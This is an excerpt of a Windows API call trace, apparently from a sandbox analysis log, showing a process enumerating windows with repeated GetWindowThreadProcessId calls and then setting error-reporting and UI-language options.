[0053.910] GetWindowThreadProcessId (in: hWnd=0x1022c, lpdwProcessId=0x25e5f0 | out: lpdwProcessId=0x25e5f0) returned 0x908 [0053.910] GetLastError () returned 0x0 [0053.910] GetWindowThreadProcessId (in: hWnd=0x10228, lpdwProcessId=0x25e5f0 | out: lpdwProcessId=0x25e5f0) returned 0x8f8 [0053.911] GetLastError () returned 0x0 [0053.911] GetWindowThreadProcessId (in: hWnd=0x10224, lpdwProcessId=0x25e5f0 | out: lpdwProcessId=0x25e5f0) returned 0x8e8 [0053.911] GetLastError () returned 0x0 [0053.911] GetWindowThreadProcessId (in: hWnd=0x10220, lpdwProcessId=0x25e5f0 | out: lpdwProcessId=0x25e5f0) returned 0x8d8 [0053.911] GetLastError () returned 0x0 [0053.911] GetWindowThreadProcessId (in: hWnd=0x1021c, lpdwProcessId=0x25e5f0 | out: lpdwProcessId=0x25e5f0) returned 0x8c8 [0053.911] GetLastError () returned 0x0 [0053.911] GetWindowThreadProcessId (in: hWnd=0x10218, lpdwProcessId=0x25e5f0 | out: lpdwProcessId=0x25e5f0) returned 0x8b8 [0053.911] GetLastError () returned 0x0 [0053.911] GetWindowThreadProcessId (in: hWnd=0x10214, lpdwProcessId=0x25e5f0 | out: lpdwProcessId=0x25e5f0) returned 0x8a8 [0053.911] GetLastError () returned 0x0 [0053.911] GetWindowThreadProcessId (in: hWnd=0x10210, lpdwProcessId=0x25e5f0 | out: lpdwProcessId=0x25e5f0) returned 0x898 [0053.911] GetLastError () returned 0x0 [0053.911] GetWindowThreadProcessId (in: hWnd=0x1020c, lpdwProcessId=0x25e5f0 | out: lpdwProcessId=0x25e5f0) returned 0x888 [0053.912] GetLastError () returned 0x0 [0053.912] GetWindowThreadProcessId (in: hWnd=0x10208, lpdwProcessId=0x25e5f0 | out: lpdwProcessId=0x25e5f0) returned 0x878 [0053.912] GetLastError () returned 0x0 [0053.912] GetWindowThreadProcessId (in: hWnd=0x10204, lpdwProcessId=0x25e5f0 | out: lpdwProcessId=0x25e5f0) returned 0x868 [0053.912] GetLastError () returned 0x0 [0053.912] GetWindowThreadProcessId (in: hWnd=0x10200, lpdwProcessId=0x25e5f0 | out: lpdwProcessId=0x25e5f0) returned 0x858 [0053.912] GetLastError () returned 0x0 [0053.912] GetWindowThreadProcessId (in: hWnd=0x101fc, lpdwProcessId=0x25e5f0 | out: lpdwProcessId=0x25e5f0) returned 0x848 [0053.912] GetLastError () returned 0x0 [0053.912] GetWindowThreadProcessId (in: hWnd=0x101f8, lpdwProcessId=0x25e5f0 | out: lpdwProcessId=0x25e5f0) returned 0x838 [0053.912] GetLastError () returned 0x0 [0053.912] GetWindowThreadProcessId (in: hWnd=0x101f4, lpdwProcessId=0x25e5f0 | out: lpdwProcessId=0x25e5f0) returned 0x828 [0053.912] GetLastError () returned 0x0 [0053.913] GetWindowThreadProcessId (in: hWnd=0x101f0, lpdwProcessId=0x25e5f0 | out: lpdwProcessId=0x25e5f0) returned 0x818 [0053.913] GetLastError () returned 0x0 [0053.913] GetWindowThreadProcessId (in: hWnd=0x101ec, lpdwProcessId=0x25e5f0 | out: lpdwProcessId=0x25e5f0) returned 0x808 [0053.913] GetLastError () returned 0x0 [0053.913] GetWindowThreadProcessId (in: hWnd=0x101e8, lpdwProcessId=0x25e5f0 | out: lpdwProcessId=0x25e5f0) returned 0x7e0 [0053.913] GetLastError () returned 0x0 [0053.913] GetWindowThreadProcessId (in: hWnd=0x101e4, lpdwProcessId=0x25e5f0 | out: lpdwProcessId=0x25e5f0) returned 0x560 [0053.913] GetLastError () returned 0x0 [0053.913] GetWindowThreadProcessId (in: hWnd=0x101e0, lpdwProcessId=0x25e5f0 | out: lpdwProcessId=0x25e5f0) returned 0x7e4 [0053.913] GetLastError () returned 0x0 [0053.913] GetWindowThreadProcessId (in: hWnd=0x101dc, lpdwProcessId=0x25e5f0 | out: lpdwProcessId=0x25e5f0) returned 0x79c [0053.913] GetLastError () returned 0x0 [0053.913] GetWindowThreadProcessId (in: hWnd=0x101d8, lpdwProcessId=0x25e5f0 | out: lpdwProcessId=0x25e5f0) returned 0x6dc [0053.913] GetLastError () returned 0x0 [0053.914] GetWindowThreadProcessId (in: hWnd=0x101d2, lpdwProcessId=0x25e5f0 | out: lpdwProcessId=0x25e5f0) returned 0x7cc [0053.914] GetLastError () returned 0x0 [0053.914] GetWindowThreadProcessId (in: hWnd=0x101ce, lpdwProcessId=0x25e5f0 | out: lpdwProcessId=0x25e5f0) returned 0x2a8 [0053.914] GetLastError () returned 0x0 [0053.914] GetWindowThreadProcessId (in: hWnd=0x101ca, lpdwProcessId=0x25e5f0 | out: lpdwProcessId=0x25e5f0) returned 0x7a8 [0053.914] GetLastError () returned 0x0 [0053.914] GetWindowThreadProcessId (in: hWnd=0x101c6, lpdwProcessId=0x25e5f0 | out: lpdwProcessId=0x25e5f0) returned 0x670 [0053.914] GetLastError () returned 0x0 [0053.914] GetWindowThreadProcessId (in: hWnd=0x101c2, lpdwProcessId=0x25e5f0 | out: lpdwProcessId=0x25e5f0) returned 0x648 [0053.914] GetLastError () returned 0x0 [0053.914] GetWindowThreadProcessId (in: hWnd=0x101be, lpdwProcessId=0x25e5f0 | out: lpdwProcessId=0x25e5f0) returned 0x51c [0053.914] GetLastError () returned 0x0 [0053.915] GetWindowThreadProcessId (in: hWnd=0x101ba, lpdwProcessId=0x25e5f0 | out: lpdwProcessId=0x25e5f0) returned 0x570 [0053.915] GetLastError () returned 0x0 [0053.915] GetWindowThreadProcessId (in: hWnd=0x101b6, lpdwProcessId=0x25e5f0 | out: lpdwProcessId=0x25e5f0) returned 0x7ec [0053.915] GetLastError () returned 0x0 [0053.915] GetWindowThreadProcessId (in: hWnd=0x101b2, lpdwProcessId=0x25e5f0 | out: lpdwProcessId=0x25e5f0) returned 0x5b8 [0053.915] GetLastError () returned 0x0 [0053.915] GetWindowThreadProcessId (in: hWnd=0x101ae, lpdwProcessId=0x25e5f0 | out: lpdwProcessId=0x25e5f0) returned 0x5a8 [0053.915] GetLastError () returned 0x0 [0053.915] GetWindowThreadProcessId (in: hWnd=0x101aa, lpdwProcessId=0x25e5f0 | out: lpdwProcessId=0x25e5f0) returned 0x31c [0053.915] GetLastError () returned 0x0 [0053.915] GetWindowThreadProcessId (in: hWnd=0x101a6, lpdwProcessId=0x25e5f0 | out: lpdwProcessId=0x25e5f0) returned 0x488 [0053.915] GetLastError () returned 0x0 [0053.916] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x25e5f0 | out: lpdwProcessId=0x25e5f0) returned 0x664 [0053.916] GetLastError () returned 0x0 [0053.916] GetWindowThreadProcessId (in: hWnd=0x1019e, lpdwProcessId=0x25e5f0 | out: lpdwProcessId=0x25e5f0) returned 0x694 [0053.916] GetLastError () returned 0x0 [0053.916] GetWindowThreadProcessId (in: hWnd=0x1019a, lpdwProcessId=0x25e5f0 | out: lpdwProcessId=0x25e5f0) returned 0x704 [0053.916] GetLastError () returned 0x0 [0053.916] GetWindowThreadProcessId (in: hWnd=0x10196, lpdwProcessId=0x25e5f0 | out: lpdwProcessId=0x25e5f0) returned 0x3b4 [0053.916] GetLastError () returned 0x0 [0053.916] GetWindowThreadProcessId (in: hWnd=0x10192, lpdwProcessId=0x25e5f0 | out: lpdwProcessId=0x25e5f0) returned 0x304 [0053.916] GetLastError () returned 0x0 [0053.916] GetWindowThreadProcessId (in: hWnd=0x1018e, lpdwProcessId=0x25e5f0 | out: lpdwProcessId=0x25e5f0) returned 0x364 [0053.917] GetLastError () returned 0x0 [0053.917] GetWindowThreadProcessId (in: hWnd=0x1018a, lpdwProcessId=0x25e5f0 | out: lpdwProcessId=0x25e5f0) returned 0x484 [0053.917] GetLastError () returned 0x0 [0053.917] GetWindowThreadProcessId (in: hWnd=0x10186, lpdwProcessId=0x25e5f0 | out: lpdwProcessId=0x25e5f0) returned 0x7a4 [0053.917] GetLastError () returned 0x0 [0053.917] GetWindowThreadProcessId (in: hWnd=0x10182, lpdwProcessId=0x25e5f0 | out: lpdwProcessId=0x25e5f0) returned 0x174 [0053.917] GetLastError () returned 0x0 [0053.917] GetWindowThreadProcessId (in: hWnd=0x1017e, lpdwProcessId=0x25e5f0 | out: lpdwProcessId=0x25e5f0) returned 0x7d4 [0053.917] GetLastError () returned 0x0 [0053.917] GetWindowThreadProcessId (in: hWnd=0x1017a, lpdwProcessId=0x25e5f0 | out: lpdwProcessId=0x25e5f0) returned 0x244 [0053.917] GetLastError () returned 0x0 [0053.917] GetWindowThreadProcessId (in: hWnd=0x10176, lpdwProcessId=0x25e5f0 | out: lpdwProcessId=0x25e5f0) returned 0x20c [0053.917] GetLastError () returned 0x0 [0053.917] GetWindowThreadProcessId (in: hWnd=0x10172, lpdwProcessId=0x25e5f0 | out: lpdwProcessId=0x25e5f0) returned 0x60c [0053.917] GetLastError () returned 0x0 [0053.918] GetWindowThreadProcessId (in: hWnd=0x1016e, lpdwProcessId=0x25e5f0 | out: lpdwProcessId=0x25e5f0) returned 0x78c [0053.918] GetLastError () returned 0x0 [0053.918] GetWindowThreadProcessId (in: hWnd=0x1016a, lpdwProcessId=0x25e5f0 | out: lpdwProcessId=0x25e5f0) returned 0x730 [0053.918] GetLastError () returned 0x0 [0053.918] GetWindowThreadProcessId (in: hWnd=0x20164, lpdwProcessId=0x25e5f0 | out: lpdwProcessId=0x25e5f0) returned 0x6a4 [0053.918] GetLastError () returned 0x0 [0053.918] GetWindowThreadProcessId (in: hWnd=0x30158, lpdwProcessId=0x25e5f0 | out: lpdwProcessId=0x25e5f0) returned 0x4f0 [0053.918] GetLastError () returned 0x0 [0053.918] GetWindowThreadProcessId (in: hWnd=0x1014e, lpdwProcessId=0x25e5f0 | out: lpdwProcessId=0x25e5f0) returned 0x514 [0053.918] GetLastError () returned 0x0 [0053.918] GetWindowThreadProcessId (in: hWnd=0x1014c, lpdwProcessId=0x25e5f0 | out: lpdwProcessId=0x25e5f0) returned 0x50c [0053.918] GetLastError () returned 0x0 [0053.918] GetWindowThreadProcessId (in: hWnd=0x20142, lpdwProcessId=0x25e5f0 | out: lpdwProcessId=0x25e5f0) returned 0x514 [0053.918] GetLastError () returned 0x0 [0053.918] GetWindowThreadProcessId (in: hWnd=0x10136, lpdwProcessId=0x25e5f0 | out: lpdwProcessId=0x25e5f0) returned 0x50c [0053.918] GetLastError () returned 0x0 [0053.919] GetWindowThreadProcessId (in: hWnd=0x1012e, lpdwProcessId=0x25e5f0 | out: lpdwProcessId=0x25e5f0) returned 0x514 [0053.919] GetLastError () returned 0x0 [0053.919] GetWindowThreadProcessId (in: hWnd=0x10124, lpdwProcessId=0x25e5f0 | out: lpdwProcessId=0x25e5f0) returned 0x4f0 [0053.919] GetLastError () returned 0x0 [0053.919] GetWindowThreadProcessId (in: hWnd=0x200d6, lpdwProcessId=0x25e5f0 | out: lpdwProcessId=0x25e5f0) returned 0x4f0 [0053.919] GetLastError () returned 0x0 [0053.919] GetWindowThreadProcessId (in: hWnd=0x200a8, lpdwProcessId=0x25e5f0 | out: lpdwProcessId=0x25e5f0) returned 0x58c [0053.919] GetLastError () returned 0x0 [0053.919] GetWindowThreadProcessId (in: hWnd=0x1010c, lpdwProcessId=0x25e5f0 | out: lpdwProcessId=0x25e5f0) returned 0x578 [0053.919] GetLastError () returned 0x0 [0053.919] GetWindowThreadProcessId (in: hWnd=0x10108, lpdwProcessId=0x25e5f0 | out: lpdwProcessId=0x25e5f0) returned 0x458 [0053.919] GetLastError () returned 0x0 [0053.919] GetWindowThreadProcessId (in: hWnd=0x10102, lpdwProcessId=0x25e5f0 | out: lpdwProcessId=0x25e5f0) returned 0x530 [0053.920] GetLastError () returned 0x0 [0053.920] GetWindowThreadProcessId (in: hWnd=0x50094, lpdwProcessId=0x25e5f0 | out: lpdwProcessId=0x25e5f0) returned 0x4ac [0053.920] GetLastError () returned 0x0 [0053.920] GetWindowThreadProcessId (in: hWnd=0x1008a, lpdwProcessId=0x25e5f0 | out: lpdwProcessId=0x25e5f0) returned 0x508 [0053.920] GetLastError () returned 0x0 [0053.920] GetWindowThreadProcessId (in: hWnd=0x10088, lpdwProcessId=0x25e5f0 | out: lpdwProcessId=0x25e5f0) returned 0x4ac [0053.920] GetLastError () returned 0x0 [0053.920] GetWindowThreadProcessId (in: hWnd=0x10084, lpdwProcessId=0x25e5f0 | out: lpdwProcessId=0x25e5f0) returned 0x4f4 [0053.920] GetLastError () returned 0x0 [0053.920] GetWindowThreadProcessId (in: hWnd=0x1007c, lpdwProcessId=0x25e5f0 | out: lpdwProcessId=0x25e5f0) returned 0x4ac [0053.920] GetLastError () returned 0x0 [0053.920] GetWindowThreadProcessId (in: hWnd=0x1006a, lpdwProcessId=0x25e5f0 | out: lpdwProcessId=0x25e5f0) returned 0x4ac [0053.920] GetLastError () returned 0x0 [0053.920] GetWindowThreadProcessId (in: hWnd=0x20020, lpdwProcessId=0x25e5f0 | out: lpdwProcessId=0x25e5f0) returned 0x794 [0053.920] GetLastError () returned 0x0 [0053.920] GetWindowThreadProcessId (in: hWnd=0x10066, lpdwProcessId=0x25e5f0 | out: lpdwProcessId=0x25e5f0) returned 0x4ac [0053.920] GetLastError () returned 0x0 [0053.920] GetWindowThreadProcessId (in: hWnd=0x10052, lpdwProcessId=0x25e5f0 | out: lpdwProcessId=0x25e5f0) returned 0x4ac [0053.921] GetLastError () returned 0x0 [0053.921] GetWindowThreadProcessId (in: hWnd=0x1004a, lpdwProcessId=0x25e5f0 | out: lpdwProcessId=0x25e5f0) returned 0x458 [0053.921] GetLastError () returned 0x0 [0053.921] GetWindowThreadProcessId (in: hWnd=0x20046, lpdwProcessId=0x25e5f0 | out: lpdwProcessId=0x25e5f0) returned 0x458 [0053.921] GetLastError () returned 0x0 [0053.921] GetWindowThreadProcessId (in: hWnd=0x30044, lpdwProcessId=0x25e5f0 | out: lpdwProcessId=0x25e5f0) returned 0x448 [0053.921] GetLastError () returned 0x0 [0053.921] GetWindowThreadProcessId (in: hWnd=0x20018, lpdwProcessId=0x25e5f0 | out: lpdwProcessId=0x25e5f0) returned 0x778 [0053.921] GetLastError () returned 0x0 [0053.921] GetWindowThreadProcessId (in: hWnd=0x100f2, lpdwProcessId=0x25e5f0 | out: lpdwProcessId=0x25e5f0) returned 0x458 [0053.921] GetLastError () returned 0x0 [0053.921] GetWindowThreadProcessId (in: hWnd=0x3013e, lpdwProcessId=0x25e5f0 | out: lpdwProcessId=0x25e5f0) returned 0x538 [0053.921] GetLastError () returned 0x0 [0053.921] GetWindowThreadProcessId (in: hWnd=0x10058, lpdwProcessId=0x25e5f0 | out: lpdwProcessId=0x25e5f0) returned 0x4ac [0053.921] GetLastError () returned 0x0 [0053.921] GetWindowThreadProcessId (in: hWnd=0x10054, lpdwProcessId=0x25e5f0 | out: lpdwProcessId=0x25e5f0) returned 0x4ac [0053.921] GetLastError () returned 0x0 [0053.922] GetWindowThreadProcessId (in: hWnd=0x10262, lpdwProcessId=0x25e5f0 | out: lpdwProcessId=0x25e5f0) returned 0x9d8 [0053.922] GetLastError () returned 0x0 [0053.922] GetWindowThreadProcessId (in: hWnd=0x5015e, lpdwProcessId=0x25e5f0 | out: lpdwProcessId=0x25e5f0) returned 0x3f8 [0053.922] GetLastError () returned 0x0 [0053.922] GetWindowThreadProcessId (in: hWnd=0x6011a, lpdwProcessId=0x25e5f0 | out: lpdwProcessId=0x25e5f0) returned 0x43c [0053.922] GetLastError () returned 0x0 [0053.922] GetWindowThreadProcessId (in: hWnd=0x1025e, lpdwProcessId=0x25e5f0 | out: lpdwProcessId=0x25e5f0) returned 0x9c8 [0053.922] GetLastError () returned 0x0 [0053.922] GetWindowThreadProcessId (in: hWnd=0x1025a, lpdwProcessId=0x25e5f0 | out: lpdwProcessId=0x25e5f0) returned 0x9b8 [0053.922] GetLastError () returned 0x0 [0053.922] GetWindowThreadProcessId (in: hWnd=0x10256, lpdwProcessId=0x25e5f0 | out: lpdwProcessId=0x25e5f0) returned 0x9a8 [0053.922] GetLastError () returned 0x0 [0053.922] GetWindowThreadProcessId (in: hWnd=0x10252, lpdwProcessId=0x25e5f0 | out: lpdwProcessId=0x25e5f0) returned 0x998 [0053.922] GetLastError () returned 0x0 [0053.922] GetWindowThreadProcessId (in: hWnd=0x1024e, lpdwProcessId=0x25e5f0 | out: lpdwProcessId=0x25e5f0) returned 0x988 [0053.922] GetLastError () returned 0x0 [0053.922] GetWindowThreadProcessId (in: hWnd=0x1024a, lpdwProcessId=0x25e5f0 | out: lpdwProcessId=0x25e5f0) returned 0x978 [0053.922] GetLastError () returned 0x0 [0053.923] GetWindowThreadProcessId (in: hWnd=0x10246, lpdwProcessId=0x25e5f0 | out: lpdwProcessId=0x25e5f0) returned 0x968 [0053.923] GetLastError () returned 0x0 [0053.923] GetWindowThreadProcessId (in: hWnd=0x10242, lpdwProcessId=0x25e5f0 | out: lpdwProcessId=0x25e5f0) returned 0x958 [0053.923] GetLastError () returned 0x0 [0053.923] GetWindowThreadProcessId (in: hWnd=0x1023e, lpdwProcessId=0x25e5f0 | out: lpdwProcessId=0x25e5f0) returned 0x948 [0053.923] GetLastError () returned 0x0 [0053.923] GetWindowThreadProcessId (in: hWnd=0x1023a, lpdwProcessId=0x25e5f0 | out: lpdwProcessId=0x25e5f0) returned 0x938 [0053.923] GetLastError () returned 0x0 [0053.923] GetWindowThreadProcessId (in: hWnd=0x10236, lpdwProcessId=0x25e5f0 | out: lpdwProcessId=0x25e5f0) returned 0x928 [0053.923] GetLastError () returned 0x0 [0053.923] GetWindowThreadProcessId (in: hWnd=0x10232, lpdwProcessId=0x25e5f0 | out: lpdwProcessId=0x25e5f0) returned 0x918 [0053.923] GetLastError () returned 0x0 [0053.923] GetWindowThreadProcessId (in: hWnd=0x1022e, lpdwProcessId=0x25e5f0 | out: lpdwProcessId=0x25e5f0) returned 0x908 [0053.923] GetLastError () returned 0x0 [0053.923] GetWindowThreadProcessId (in: hWnd=0x1022a, lpdwProcessId=0x25e5f0 | out: lpdwProcessId=0x25e5f0) returned 0x8f8 [0053.923] GetLastError () returned 0x0 [0053.923] GetWindowThreadProcessId (in: hWnd=0x10226, lpdwProcessId=0x25e5f0 | out: lpdwProcessId=0x25e5f0) returned 0x8e8 [0053.923] GetLastError () returned 0x0 [0053.924] GetWindowThreadProcessId (in: hWnd=0x10222, lpdwProcessId=0x25e5f0 | out: lpdwProcessId=0x25e5f0) returned 0x8d8 [0053.924] GetLastError () returned 0x0 [0053.924] GetWindowThreadProcessId (in: hWnd=0x1021e, lpdwProcessId=0x25e5f0 | out: lpdwProcessId=0x25e5f0) returned 0x8c8 [0053.924] GetLastError () returned 0x0 [0053.924] GetWindowThreadProcessId (in: hWnd=0x1021a, lpdwProcessId=0x25e5f0 | out: lpdwProcessId=0x25e5f0) returned 0x8b8 [0053.924] GetLastError () returned 0x0 [0053.924] GetWindowThreadProcessId (in: hWnd=0x10216, lpdwProcessId=0x25e5f0 | out: lpdwProcessId=0x25e5f0) returned 0x8a8 [0053.924] GetLastError () returned 0x0 [0053.924] GetWindowThreadProcessId (in: hWnd=0x10212, lpdwProcessId=0x25e5f0 | out: lpdwProcessId=0x25e5f0) returned 0x898 [0053.924] GetLastError () returned 0x0 [0053.924] GetWindowThreadProcessId (in: hWnd=0x1020e, lpdwProcessId=0x25e5f0 | out: lpdwProcessId=0x25e5f0) returned 0x888 [0053.924] GetLastError () returned 0x0 [0053.924] GetWindowThreadProcessId (in: hWnd=0x1020a, lpdwProcessId=0x25e5f0 | out: lpdwProcessId=0x25e5f0) returned 0x878 [0053.924] GetLastError () returned 0x0 [0053.924] GetWindowThreadProcessId (in: hWnd=0x10206, lpdwProcessId=0x25e5f0 | out: lpdwProcessId=0x25e5f0) returned 0x868 [0053.924] GetLastError () returned 0x0 [0053.924] GetWindowThreadProcessId (in: hWnd=0x10202, lpdwProcessId=0x25e5f0 | out: lpdwProcessId=0x25e5f0) returned 0x858 [0053.924] GetLastError () returned 0x0 [0053.925] GetWindowThreadProcessId (in: hWnd=0x101fe, lpdwProcessId=0x25e5f0 | out: lpdwProcessId=0x25e5f0) returned 0x848 [0053.925] GetLastError () returned 0x0 [0053.925] GetWindowThreadProcessId (in: hWnd=0x101fa, lpdwProcessId=0x25e5f0 | out: lpdwProcessId=0x25e5f0) returned 0x838 [0053.925] GetLastError () returned 0x0 [0053.925] GetWindowThreadProcessId (in: hWnd=0x101f6, lpdwProcessId=0x25e5f0 | out: lpdwProcessId=0x25e5f0) returned 0x828 [0053.925] GetLastError () returned 0x0 [0053.925] GetWindowThreadProcessId (in: hWnd=0x101f2, lpdwProcessId=0x25e5f0 | out: lpdwProcessId=0x25e5f0) returned 0x818 [0053.925] GetLastError () returned 0x0 [0053.925] GetWindowThreadProcessId (in: hWnd=0x101ee, lpdwProcessId=0x25e5f0 | out: lpdwProcessId=0x25e5f0) returned 0x808 [0053.925] GetLastError () returned 0x0 [0053.925] GetWindowThreadProcessId (in: hWnd=0x101ea, lpdwProcessId=0x25e5f0 | out: lpdwProcessId=0x25e5f0) returned 0x7e0 [0053.925] GetLastError () returned 0x0 [0053.925] GetWindowThreadProcessId (in: hWnd=0x101e6, lpdwProcessId=0x25e5f0 | out: lpdwProcessId=0x25e5f0) returned 0x560 [0053.925] GetLastError () returned 0x0 [0053.925] GetWindowThreadProcessId (in: hWnd=0x101e2, lpdwProcessId=0x25e5f0 | out: lpdwProcessId=0x25e5f0) returned 0x7e4 [0053.925] GetLastError () returned 0x0 [0053.926] GetWindowThreadProcessId (in: hWnd=0x101de, lpdwProcessId=0x25e5f0 | out: lpdwProcessId=0x25e5f0) returned 0x79c [0053.926] GetLastError () returned 0x0 [0053.926] GetWindowThreadProcessId (in: hWnd=0x101da, lpdwProcessId=0x25e5f0 | out: lpdwProcessId=0x25e5f0) returned 0x6dc [0053.926] GetLastError () returned 0x0 [0053.926] GetWindowThreadProcessId (in: hWnd=0x101d4, lpdwProcessId=0x25e5f0 | out: lpdwProcessId=0x25e5f0) returned 0x7cc [0053.926] GetLastError () returned 0x0 [0053.926] GetWindowThreadProcessId (in: hWnd=0x101d0, lpdwProcessId=0x25e5f0 | out: lpdwProcessId=0x25e5f0) returned 0x2a8 [0053.926] GetLastError () returned 0x0 [0053.926] GetWindowThreadProcessId (in: hWnd=0x101cc, lpdwProcessId=0x25e5f0 | out: lpdwProcessId=0x25e5f0) returned 0x7a8 [0053.926] GetLastError () returned 0x0 [0053.926] GetWindowThreadProcessId (in: hWnd=0x101c8, lpdwProcessId=0x25e5f0 | out: lpdwProcessId=0x25e5f0) returned 0x670 [0053.926] GetLastError () returned 0x0 [0053.926] GetWindowThreadProcessId (in: hWnd=0x101c4, lpdwProcessId=0x25e5f0 | out: lpdwProcessId=0x25e5f0) returned 0x648 [0053.926] GetLastError () returned 0x0 [0053.926] GetWindowThreadProcessId (in: hWnd=0x101c0, lpdwProcessId=0x25e5f0 | out: lpdwProcessId=0x25e5f0) returned 0x51c [0053.926] GetLastError () returned 0x0 [0053.926] GetWindowThreadProcessId (in: hWnd=0x101bc, lpdwProcessId=0x25e5f0 | out: lpdwProcessId=0x25e5f0) returned 0x570 [0053.926] GetLastError () returned 0x0 [0053.926] GetWindowThreadProcessId (in: hWnd=0x101b8, lpdwProcessId=0x25e5f0 | out: lpdwProcessId=0x25e5f0) returned 0x7ec [0053.927] GetLastError () returned 0x0 [0053.927] GetWindowThreadProcessId (in: hWnd=0x101b4, lpdwProcessId=0x25e5f0 | out: lpdwProcessId=0x25e5f0) returned 0x5b8 [0053.927] GetLastError () returned 0x0 [0053.927] GetWindowThreadProcessId (in: hWnd=0x101b0, lpdwProcessId=0x25e5f0 | out: lpdwProcessId=0x25e5f0) returned 0x5a8 [0053.927] GetLastError () returned 0x0 [0053.927] GetWindowThreadProcessId (in: hWnd=0x101ac, lpdwProcessId=0x25e5f0 | out: lpdwProcessId=0x25e5f0) returned 0x31c [0053.927] GetLastError () returned 0x0 [0053.927] GetWindowThreadProcessId (in: hWnd=0x101a8, lpdwProcessId=0x25e5f0 | out: lpdwProcessId=0x25e5f0) returned 0x488 [0053.927] GetLastError () returned 0x0 [0053.927] GetWindowThreadProcessId (in: hWnd=0x101a4, lpdwProcessId=0x25e5f0 | out: lpdwProcessId=0x25e5f0) returned 0x664 [0053.927] GetLastError () returned 0x0 [0053.927] GetWindowThreadProcessId (in: hWnd=0x101a0, lpdwProcessId=0x25e5f0 | out: lpdwProcessId=0x25e5f0) returned 0x694 [0053.927] GetLastError () returned 0x0 [0053.927] GetWindowThreadProcessId (in: hWnd=0x1019c, lpdwProcessId=0x25e5f0 | out: lpdwProcessId=0x25e5f0) returned 0x704 [0053.927] GetLastError () returned 0x0 [0053.927] GetWindowThreadProcessId (in: hWnd=0x10198, lpdwProcessId=0x25e5f0 | out: lpdwProcessId=0x25e5f0) returned 0x3b4 [0053.927] GetLastError () returned 0x0 [0053.927] GetWindowThreadProcessId (in: hWnd=0x10194, lpdwProcessId=0x25e5f0 | out: lpdwProcessId=0x25e5f0) returned 0x304 [0053.927] GetLastError () returned 0x0 [0053.928] GetWindowThreadProcessId (in: hWnd=0x10190, lpdwProcessId=0x25e5f0 | out: lpdwProcessId=0x25e5f0) returned 0x364 [0053.928] GetLastError () returned 0x0 [0053.928] GetWindowThreadProcessId (in: hWnd=0x1018c, lpdwProcessId=0x25e5f0 | out: lpdwProcessId=0x25e5f0) returned 0x484 [0053.928] GetLastError () returned 0x0 [0053.928] GetWindowThreadProcessId (in: hWnd=0x10188, lpdwProcessId=0x25e5f0 | out: lpdwProcessId=0x25e5f0) returned 0x7a4 [0053.928] GetLastError () returned 0x0 [0053.928] GetWindowThreadProcessId (in: hWnd=0x10184, lpdwProcessId=0x25e5f0 | out: lpdwProcessId=0x25e5f0) returned 0x174 [0053.928] GetLastError () returned 0x0 [0053.928] GetWindowThreadProcessId (in: hWnd=0x10180, lpdwProcessId=0x25e5f0 | out: lpdwProcessId=0x25e5f0) returned 0x7d4 [0053.928] GetLastError () returned 0x0 [0053.928] GetWindowThreadProcessId (in: hWnd=0x1017c, lpdwProcessId=0x25e5f0 | out: lpdwProcessId=0x25e5f0) returned 0x244 [0053.928] GetLastError () returned 0x0 [0053.928] GetWindowThreadProcessId (in: hWnd=0x10178, lpdwProcessId=0x25e5f0 | out: lpdwProcessId=0x25e5f0) returned 0x20c [0053.928] GetLastError () returned 0x0 [0053.928] GetWindowThreadProcessId (in: hWnd=0x10174, lpdwProcessId=0x25e5f0 | out: lpdwProcessId=0x25e5f0) returned 0x60c [0053.928] GetLastError () returned 0x0 [0053.928] GetWindowThreadProcessId (in: hWnd=0x10170, lpdwProcessId=0x25e5f0 | out: lpdwProcessId=0x25e5f0) returned 0x78c [0053.928] GetLastError () returned 0x0 [0053.929] GetWindowThreadProcessId (in: hWnd=0x1016c, lpdwProcessId=0x25e5f0 | out: lpdwProcessId=0x25e5f0) returned 0x730 [0053.929] GetLastError () returned 0x0 [0053.929] GetWindowThreadProcessId (in: hWnd=0x10168, lpdwProcessId=0x25e5f0 | out: lpdwProcessId=0x25e5f0) returned 0x6a4 [0053.929] GetLastError () returned 0x0 [0053.929] GetWindowThreadProcessId (in: hWnd=0x10138, lpdwProcessId=0x25e5f0 | out: lpdwProcessId=0x25e5f0) returned 0x50c [0053.929] GetLastError () returned 0x0 [0053.929] GetWindowThreadProcessId (in: hWnd=0x10130, lpdwProcessId=0x25e5f0 | out: lpdwProcessId=0x25e5f0) returned 0x514 [0053.929] GetLastError () returned 0x0 [0053.929] GetWindowThreadProcessId (in: hWnd=0x10126, lpdwProcessId=0x25e5f0 | out: lpdwProcessId=0x25e5f0) returned 0x4f0 [0053.929] GetLastError () returned 0x0 [0053.929] GetWindowThreadProcessId (in: hWnd=0x10110, lpdwProcessId=0x25e5f0 | out: lpdwProcessId=0x25e5f0) returned 0x58c [0053.929] GetLastError () returned 0x0 [0053.929] GetWindowThreadProcessId (in: hWnd=0x1010a, lpdwProcessId=0x25e5f0 | out: lpdwProcessId=0x25e5f0) returned 0x458 [0053.929] GetLastError () returned 0x0 [0053.929] GetWindowThreadProcessId (in: hWnd=0x10086, lpdwProcessId=0x25e5f0 | out: lpdwProcessId=0x25e5f0) returned 0x4f4 [0053.929] GetLastError () returned 0x0 [0053.929] GetWindowThreadProcessId (in: hWnd=0x2002a, lpdwProcessId=0x25e5f0 | out: lpdwProcessId=0x25e5f0) returned 0x794 [0053.929] GetLastError () returned 0x0 [0053.930] GetWindowThreadProcessId (in: hWnd=0x10048, lpdwProcessId=0x25e5f0 | out: lpdwProcessId=0x25e5f0) returned 0x458 [0053.930] GetLastError () returned 0x0 [0053.930] GetWindowThreadProcessId (in: hWnd=0x2001a, lpdwProcessId=0x25e5f0 | out: lpdwProcessId=0x25e5f0) returned 0x778 [0053.930] GetLastError () returned 0x0 [0053.930] GetLastError () returned 0x0 [0053.932] WerSetFlags () returned 0x0 [0053.954] SetThreadPreferredUILanguages (in: dwFlags=0x100, pwszLanguagesBuffer=0x0, pulNumLanguages=0x0 | out: pulNumLanguages=0x0) returned 1 [0053.956] GetThreadPreferredUILanguages (in: dwFlags=0x38, pulNumLanguages=0x25e9cc, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0x25e9c8 | out: pulNumLanguages=0x25e9cc, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0x25e9c8) returned 1 [0053.956] GetThreadPreferredUILanguages (in: dwFlags=0x38, pulNumLanguages=0x25e9cc, pwszLanguagesBuffer=0x2aa3e44, pcchLanguagesBuffer=0x25e9c8 | out: pulNumLanguages=0x25e9cc, pwszLanguagesBuffer=0x2aa3e44, 